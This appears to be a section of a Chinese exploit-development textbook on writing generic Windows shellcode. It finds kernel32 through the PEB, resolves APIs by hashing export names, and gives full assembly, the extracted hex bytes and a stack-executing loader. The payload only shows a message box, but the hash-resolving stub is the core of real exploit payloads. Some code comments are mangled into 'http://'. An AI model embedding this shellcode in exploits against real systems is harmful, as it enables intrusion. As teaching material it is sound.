- 0day安全
- 王清主編
- 4091字
- 2019-01-01 12:26:19
3.4 開發通用的shellcode
3.4.1 定位API的原理
回顧2.4節和3.2節中的shellcode是怎樣調用MessagBoxA和ExitProcess函數的。如果您親手實驗了這些步驟,在使用Dependency Walker計算您的計算機中的API入口地址的時候,可能會發現您的地址和本書實驗指導中的地址有所差異。原因有幾下幾點。
(1)不同的操作系統版本:Windows 2000,Windows XP等會影響動態鏈接庫的加載基址。
(2)不同的補丁版本:很多安全補丁會修改這些動態鏈接庫中的函數,使得不同版本補丁對應的動態鏈接庫的內容有所不同,包括動態鏈接庫文件的大小和導出函數的偏移地址。
由于這些因素,我們手工查出的API地址很可能會在其他計算機上失效。在shellcode中使用靜態函數地址來調用API會使exploit的通用性受到很大限制。所以,實際中使用的shellcode必須還要能動態地獲得自身所需的API函數地址。
Windows的API是通過動態鏈接庫中的導出函數來實現的,例如,內存操作等函數在kernel32.dll中實現;大量的圖形界面相關的API則在user32.dll中實現。Win_32平臺下的shellcode使用最廣泛的方法,就是通過從進程環境塊中找到動態鏈接庫的導出表,并搜索出所需的API地址,然后逐一調用。
所有win_32程序都會加載ntdll.dll和kernel32.dll這兩個最基礎的動態鏈接庫。如果想要在win_32平臺下定位kernel32.dll中的 API地址,可以采用如下方法。
(1)首先通過段選擇字FS在內存中找到當前的線程環境塊TEB。
(2)線程環境塊偏移位置為0x30的地方存放著指向進程環境塊PEB的指針。
(3)進程環境塊中偏移位置為0x0C的地方存放著指向PEB_LDR_DATA結構體的指針,其中,存放著已經被進程裝載的動態鏈接庫的信息。
(4)PEB_LDR_DATA結構體偏移位置為0x1C的地方存放著指向模塊初始化鏈表的頭指針InInitializationOrderModuleList。
(5)模塊初始化鏈表InInitializationOrderModuleList中按順序存放著PE裝入運行時初始化模塊的信息,第一個鏈表結點是ntdll.dll,第二個鏈表結點就是kernel32.dll。
(6)找到屬于kernel32.dll的結點后,在其基礎上再偏移0x08就是kernel32.dll在內存中的加載基地址。
(7)從kernel32.dll的加載基址算起,偏移0x3C的地方就是其PE頭。
(8)PE頭偏移0x78的地方存放著指向函數導出表的指針。
(9)至此,我們可以按如下方式在函數導出表中算出所需函數的入口地址,如圖3.4.1所示。
·導出表偏移0x1C處的指針指向存儲導出函數偏移地址(RVA)的列表。
·導出表偏移0x20處的指針指向存儲導出函數函數名的列表。
·函數的RVA地址和名字按照順序存放在上述兩個列表中,我們可以在名稱列表中定位到所需的函數是第幾個,然后在地址列表中找到對應的RVA。
·獲得RVA后,再加上前邊已經得到的動態鏈接庫的加載基址,就獲得了所需API此刻在內存中的虛擬地址,這個地址就是我們最終在shellcode中調用時需要的地址。
按照上面的方法,我們已經可以獲得kernel32.dll中的任意函數。類似地,我們已經具備了定位ws2_32.dll中的winsock函數來編寫一個能夠獲得遠程shell的真正的shellcode了。
其實,在摸透了kernel32.dll中的所有導出函數之后,結合使用其中的兩個函數LoadLibrary()和GetProcAddress(),有時可以讓定位所需其他API的工作變得更加容易。

圖3.4.1 在shellcode中動態定位API的原理
本節實驗將用上述定位API的方法把彈出消息框的shellcode進一步完善,使其能夠適應任意win_32平臺,不受操作系統版本和補丁版本的限制。
3.4.2 shellcode的加載與調試
shellcode的最常見形式就是用轉移字符把機器碼存在一個字符數組中,例如,前邊我們彈出消息框并能正常退出程序的shellcode就可以存成下述形式。
char box_popup[]= "\x66\x81\xEC\x40\x04" // SUB SP,440 "\x33\xDB" // XOR EBX,EBX "\x53" // PUSH EBX "\x68\x77\x65\x73\x74" // PUSH 74736577 "\x68\x66\x61\x69\x6C" // PUSH 6C696166 "\x8B\xC4" // MOV EAX,ESP "\x53" // PUSH EBX "\x50" // PUSH EAX "\x50" // PUSH EAX "\x53" // PUSH EBX "\xB8\xEA\x04\xD8\x77" // MOV EAX,user32.MessageBoxA "\xFF\xD0" // CALL EAX "\x53" // PUSH EBX ;/ExitCode "\xB8\xDA\xCD\x81\x7C" // MOV EAX,kernel32.ExitProcess "\xFF\xD0"; // CALL EAX ;\ExitProcess
如果在互聯網上搜集常用的shellcode,一般得到的也是類似的存于字符數組的機器碼。我們本節實驗中將對上述代碼進行完善,加入自動獲取API入口地址的功能,最終得到的也是類似這種形式的機器代碼。
雖然這種形式的shellcode可以在C語言中輕易地布置進內存的目標區域,但是如果出了問題,往往難于調試。所以,在我們開始著手改造shellcode之前,先看看相關的調試環境。
由于shellcode需要漏洞程序已經初始化好了的進程空間和資源等,故往往不能單獨運行。為了能在實際運行中調試這樣的機器碼,我們可以使用這樣一段簡單的代碼來裝載shellcode。
char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……";//欲調試的十六 //進制機器碼" void main() { __asm { lea eax, shellcode push eax ret } }
ret指令會將push進去的shellcode在棧中的起始地址彈給EIP,讓處理器跳轉到棧區去執行shellcode。我們可以用這段裝載程序運行搜集到的shellcode,并調試之。若搜集到的shellcode不能滿足需求,也可以在調試的基礎上稍作修改,為它增加新功能。
3.4.3 動態定位API地址的shellcode
下面我們將給shellcode加入自動定位API的功能。為了實現彈出消息框并顯示“failwest”的功能,需要使用如下API函數。
(1)MessageBoxA 位于user32.dll中,用于彈出消息框。
(2)ExitProcess 位于kernel32.dll中,用于正常退出程序。
(3)LoadLibraryA 位于kernel32.dll中。并不是所有的程序都會裝載user32.dll,所以在我們調用MessageBoxA之前,應該先使用LoadLibrary(“user32.dll”)裝載其所屬的動態鏈接庫。
通過前面介紹的win_32平臺下搜索API地址的辦法,我們可以從FS所指的線程環境塊開始,一直追溯到動態鏈接庫的函數名導出表,在其中搜索出所需的API函數是第幾個,然后在函數偏移地址(RVA)導出表中找到這個地址。
由于shellcode最終是要放進緩沖區的,為了讓shellcode更加通用,能被大多數緩沖區容納,我們總是希望shellcode盡可能短。因此,在函數名導出表中搜索函數名的時候,一般情況下并不會用“MessageBoxA”這么長的字符串去進行直接比較。
通常情況下,我們會對所需的API函數名進行hash運算,在搜索導出表時對當前遇到的函數名也進行同樣的hash,這樣只要比較hash所得的摘要(digest)就能判定是不是我們所需的API了。雖然這種搜索方法需要引入額外的hash算法,但是可以節省出存儲函數名字符串的代碼。
提示:本書中所說的hash指的是hash算法,是一個運算過程。經過hash后得到的值將被稱做摘要,即digest,請讀者注意這種敘述方式。
本節實驗中所用hash函數的C代碼如下。
#include <stdio.h> #include <windows.h> DWORD GetHash(char *fun_name) { DWORD digest=0; while(*fun_name) { digest=((digest<<25)|(digest>>7)); //循環右移7位 digest+= *fun_name ; //累加 fun_name++; } return digest; } main() { DWORD hash; hash= GetHash("AddAtomA"); printf("result of hash is %.8x\n",hash); }
如上述代碼,我們將把字符串中的字符逐一取出,把ASCII碼從單字節轉換成四字節的雙字(DWORD),循環右移7位之后再進行累積。
代碼中只比較經過hash運算的函數名摘要,也就是說,不論API函數名多么長,我們只需要存一個雙字就行。而上述hash算法只需要用ror和add兩條指令就能實現。
題外話:在下一節中,我們將討論怎樣精簡shellcode的長度,其中會詳細討論按照什么標準來選取hash算法。實際上您會發現hash后的摘要并不一定是一個雙字(32bit),精心構造的hash算法可以讓一個字節(8bit)的摘要也滿足要求。
API函數及hash后的摘要如表3-4-1所示。
表3-4-1 API函數及hash后的摘要
在將hash壓入棧中之前,注意先將增量標志DF清零。因為當shellcode是利用異常處理機制而植入的時候,往往會產生標志位的變化,使shellcode中的字串處理方向發生變化而產生錯誤(如指令LODSD)。如果您在堆溢出利用中發現原本身經百戰的shellcode在運行時出錯,很可能就是這個原因??傊粋€字節的指令可以大大增加shellcode的通用性。
現在可以將這些hash結果壓入棧中,并用一個寄存器標識位置,以備后面搜索API函數時使用。
;store hash push 0x1e380a6a ;hash of MessageBoxA push 0x4fd18963 ;hash of ExitProcess push 0x0c917432 ;hash of LoadLibraryA mov esi,esp ;esi = addr of first function hash lea edi,[esi-0xc] ;edi = addr to start writing function
然后我們需要抬高棧頂,保護shellcode不被入棧數據破壞。
;make some stack space xor ebx,ebx mov bh, 0x04 sub esp, ebx
按照圖3.4.1所示,定位kernel32.dll的代碼如下。
;find base addr of kernel32.dll mov ebx, fs:[edx + 0x30] ;ebx = address of PEB mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data mov ecx, [ecx + 0x1c] ;ecx = first entry in initialisation ;order list mov ecx, [ecx] ;ecx = second entry in list;(kernel32.dll) mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
在導入表中搜索API的邏輯可以設計如圖3.4.2所示。

圖3.4.2 定位API的流程圖
最終的代碼實現如下。
int main()
{
_asm{
CLD ;clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ;esi = addr of first function hash
lea edi,[esi-0xc] ;edi = addr to start writing function
;make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
;push a pointer to "user32" onto stack
mov bx, 0x3233 ;rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
;find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ;ebx = address of PEB
mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ;ecx = first entry in initialization
;order list
mov ecx, [ecx] ;ecx = second entry in list
;(kernel32.dll)
mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
find_lib_functions:
lodsd ;load next hash into al and increment esi cmp eax, 0x1e380a6a ;hash of MessageBoxA - trigger
;LoadLibrary("user32")
jne find_functions
xchg eax, ebp ;save current hash
call [edi - 0x8] ;LoadLibraryA
xchg eax, ebp ;restore current hash, and update ebp
;with base address of user32.dll
find_functions:
pushad ;preserve registers
mov eax, [ebp + 0x3c] ;eax = start of PE header
mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export table
add ecx, ebp ;ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ;ebx = relative offset of names table
add ebx, ebp ;ebx = absolute addr of names table
xor edi, edi ;edi will count through the functions
next_function_loop:
inc edi ;increment function counter
mov esi, [ebx + edi * 4] ;esi = relative offset of current
;function name
add esi, ebp ;esi = absolute addr of current
;function name
cdq ;dl will hold hash (we know eax is
;small)
hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ;compare to the requested hash (saved on;stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals
;table
add ebx, ebp ;ebx = absolute addr of ordinals
;table
mov di, [ebx + 2 * edi] ;di = ordinal number of matched
;function
mov ebx, [ecx + 0x1c] ;ebx = relative offset of address
;table
add ebx, ebp ;ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ;add to ebp (base addr of module) the
;relative offset of matched function
xchg eax, ebp ;move func addr into eax
pop edi ;edi is last onto stack in pushad
stosd
;write function addr to [edi] and
;increment edi
push edi
popad ;restore registers;loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx ;cut string
push 0x74736577
push 0x6C696166 ;push failwest
mov eax,esp ;load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ;call MessageboxA
push ebx
call [edi - 0x08] ;call ExitProcess
nop
nop
nop
nop
}
}
上述匯編代碼可以用VC 6.0直接編譯運行,并生成PE文件。之后可以用OllyDbg或者IDA等反匯編工具從PE文件的代碼節中提取出二進制的機器碼如下。
提示:之所以在匯編代碼的前后都加上一段nop(0x90),是為了在反匯編工具或調試時非常方便地區分出shellcode的代碼。
"\x90"http:// NOP "\xFC"http:// CLD "\x68\x6A\x0A\x38\x1E"http:// PUSH 1E380A6A "\x68\x63\x89\xD1\x4F"http:// PUSH 4FD18963 "\x68\x32\x74\x91\x0C"http:// PUSH 0C917432 "\x8B\xF4"http:// MOV ESI,ESP "\x8D\x7E\xF4"http:// LEA EDI,DWORD PTR DS:[ESI-C] "\x33\xDB"http:// XOR EBX,EBX "\xB7\x04"http:// MOV BH,4 "\x2B\xE3"http:// SUB ESP,EBX "\x66\xBB\x33\x32"http:// MOV BX,3233 "\x53"http:// PUSH EBX "\x68\x75\x73\x65\x72"http:// PUSH 72657375 "\x54"http:// PUSH ESP "\x33\xD2"http:// XOR EDX,EDX "\x64\x8B\x5A\x30"http:// MOV EBX,DWORD PTR FS:[EDX+30] "\x8B\x4B\x0C"http:// MOV ECX,DWORD PTR DS:[EBX+C] "\x8B\x49\x1C"http:// MOV ECX,DWORD PTR DS:[ECX+1C] "\x8B\x09"http:// MOV ECX,DWORD PTR DS:[ECX] "\x8B\x69\x08"http:// MOV EBP,DWORD PTR DS:[ECX+8] "\xAD"http:// LODS DWORD PTR DS:[ESI] "\x3D\x6A\x0A\x38\x1E"http:// CMP EAX,1E380A6A "\x75\x05"http:// JNZ SHORT popup_co.00401070 "\x95"http:// XCHG EAX,EBP "\xFF\x57\xF8"http:// CALL DWORD PTR DS:[EDI-8] "\x95"http:// XCHG EAX,EBP "\x60"http:// PUSHAD "\x8B\x45\x3C"http:// MOV EAX,DWORD PTR SS:[EBP+3C] "\x8B\x4C\x05\x78"http:// MOV ECX,DWORD PTR SS:[EBP+EAX+78] "\x03\xCD"http:// ADD ECX,EBP "\x8B\x59\x20"http:// MOV EBX,DWORD PTR DS:[ECX+20] "\x03\xDD"http:// ADD EBX,EBP "\x33\xFF"http:// XOR EDI,EDI "\x47"http:// INC EDI "\x8B\x34\xBB"http:// MOV ESI,DWORD PTR DS:[EBX+EDI*4] "\x03\xF5"http:// ADD ESI,EBP "\x99"http:// CDQ "\x0F\xBE\x06"http:// MOVSX EAX,BYTE PTR DS:[ESI] "\x3A\xC4"http:// CMP AL,AH "\x74\x08"http:// JE SHORT popup_co.00401097 "\xC1\xCA\x07"http:// ROR EDX,7 "\x03\xD0"http:// ADD EDX,EAX "\x46"http:// INC ESI "\xEB\xF1"http:// JMP SHORT popup_co.00401088 "\x3B\x54\x24\x1C"http:// CMP EDX,DWORD PTR SS:[ESP+1C] "\x75\xE4"http:// JNZ SHORT popup_co.00401081 "\x8B\x59\x24"http:// MOV EBX,DWORD PTR DS:[ECX+24] "\x03\xDD"http:// ADD EBX,EBP "\x66\x8B\x3C\x7B"http:// MOV DI,WORD PTR DS:[EBX+EDI*2] "\x8B\x59\x1C"http:// MOV EBX,DWORD PTR DS:[ECX+1C] "\x03\xDD"http:// ADD EBX,EBP "\x03\x2C\xBB"http:// ADD EBP,DWORD PTR DS:[EBX+EDI*4] "\x95"http:// XCHG EAX,EBP "\x5F"http:// POP EDI "\xAB"http:// STOS DWORD PTR ES:[EDI] "\x57"http:// PUSH EDI "\x61"http:// POPAD "\x3D\x6A\x0A\x38\x1E"http:// CMP EAX,1E380A6A "\x75\xA9"http:// JNZ SHORT popup_co.00401063 "\x33\xDB"http:// XOR EBX,EBX "\x53"http:// PUSH EBX "\x68\x77\x65\x73\x74"http:// PUSH 74736577 "\x68\x66\x61\x69\x6C"http:// PUSH 6C696166 "\x8B\xC4"http:// MOV EAX,ESP "\x53"http:// PUSH EBX "\x50"http:// PUSH EAX "\x50"http:// PUSH EAX "\x53"http:// PUSH EBX "\xFF\x57\xFC"http:// CALL DWORD PTR DS:[EDI-4] "\x53"http:// PUSH EBX "\xFF\x57\xF8";// CALL DWORD PTR DS:[EDI-8]
上述這種保存在字符數組中的shellcode已經可以輕易地在exploit程序中使用了,也可以用前邊的shellcode裝載程序單獨加載運行。
char popup_general[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"; void main() { __asm { lea eax, popup_general push eax ret } }
這樣,一段考慮了跨平臺、健壯性、穩定性、通用性等各方面因素的高質量shellcode就生成了。本書后面章節將在實驗中反復使用這段shellcode。經過反復的實驗,這段shellcode在各種溢出利用場景下都表現出色。
通過本節的介紹,可以看出即使是經驗豐富的匯編程序員,想要寫出高質量的shellcode也得著實花一翻工夫。事實上,若非真的有特殊需要,即使是經驗豐富的hacker也不會總是自己編寫shellcode。大多數情況下,從Internet上可以得到許多經典的shellcode。另外MetaSploit通用漏洞測試架構3.0下的payload庫中,目前已經包含了包括綁定端口、網馬downloader、遠程shell、任意命令執行等在內的104種不同功能的經典shellcode。通過簡單的參數配置,可以輕易導出C語言格式、Perl語言格式、ruby語言格式、原始十六進制格式等形式的shellcode。我們會在后面章節中專門介紹MataSploit的使用和開發。
- 信息安全導論(在線實驗+在線自測)
- 白帽子講Web安全(紀念版)
- INSTANT Metasploit Starter
- 工業控制網絡安全技術
- Applied Network Security
- 網絡空間安全實驗
- Spring Security(Third Edition)
- 隱私計算
- CTF那些事兒
- 華為防火墻實戰指南
- 黑客攻防實戰從入門到精通
- Hands-On Artificial Intelligence for Cybersecurity
- INSTANT Microsoft Forefront UAG Mobile Configuration Starter
- 2023—2024年中國網絡安全發展藍皮書
- ATT&CK框架實踐指南(第2版)